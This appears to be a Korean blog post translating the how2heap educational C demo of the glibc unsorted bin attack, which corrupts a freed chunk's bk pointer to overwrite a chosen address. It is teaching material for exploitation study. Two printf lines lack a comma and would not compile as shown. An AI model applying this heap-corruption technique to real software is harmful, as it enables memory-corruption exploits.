본문 바로가기

system

[how2heap translation] unsorted_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
 
int main(){
    printf("이 파일은 large unsigned long 값을 스택에 작성함으로써 unsorted bin attack 을 보여준다.\n");
    printf("실제로 unsorted bin attack 은 일반적으로 fastbin attack 을 발생시키기 위해 libc 안에 전역 변수 global_max_fast 를 다시 쓰는 것과 같이 fastbin attack 을 유발한다.\n\n");
    // global max fast         : to check size of fastbin on your machine
 
    unsigned long stack_var=0;
    printf("먼저 stack 에 다시 쓰려고 하는 target address와 값을 보자:\n");
    printf("%p: %ld\n\n"&stack_var, stack_var);
 
    unsigned long *p=malloc(400);
    printf("이제 우리는 heap: %p 주소에 첫 번째 정상적인 chunk를 할당한다.\n",p);
    printf("그리고 free() 중에 첫 번째 chunk 와 top chunk의 병합을 피하기 위해 다른 일반 chunk를 할당한다.\n\n");
    malloc(500);
 
    free(p);
    printf("이제 우리는 첫 번째 chunk를 free 하고, unsorted bin 에는 %p 를 가리키는 bk pointer 가 삽입될 것이다.\n",(void*)p[1]);
 
    //------------VULNERABILITY-----------
 
    p[1]=(unsigned long)(&stack_var-2);
    printf("이제 victim -> bk pointer 를 덮어쓰는 취약점을 에뮬레이트 한다.\n");
    printf("그리고 우리는 target address - 16 (32bit 환경에서는 target address - 8) 로 작성한다 : %p\n\n",(void*)p[1]);
 
    //------------------------------------
 
    malloc(400);
    printf("우리가 free한 chunk를 얻기 위해 다시 malloc 한다. 이 시간동안에 target address 는 이미 다시 쓰여졌다. :\n");
    printf("%p: %p\n"&stack_var, (void*)stack_var);
}
 
 
cs

 

혹시나 잘못된 정보나 번역이 있다면 알려주세요..

'system' 카테고리의 다른 글

c library hook, atexit  (0) 2017.03.29
[how2heap translation] unsafe_unlink.c  (0) 2017.03.03
[how2heap translation] fastbin_dup_into_stack.c  (0) 2017.01.11
[how2heap translation] fastbin_dup.c  (0) 2017.01.10
MP3 CD Converter Exploit  (0) 2016.11.22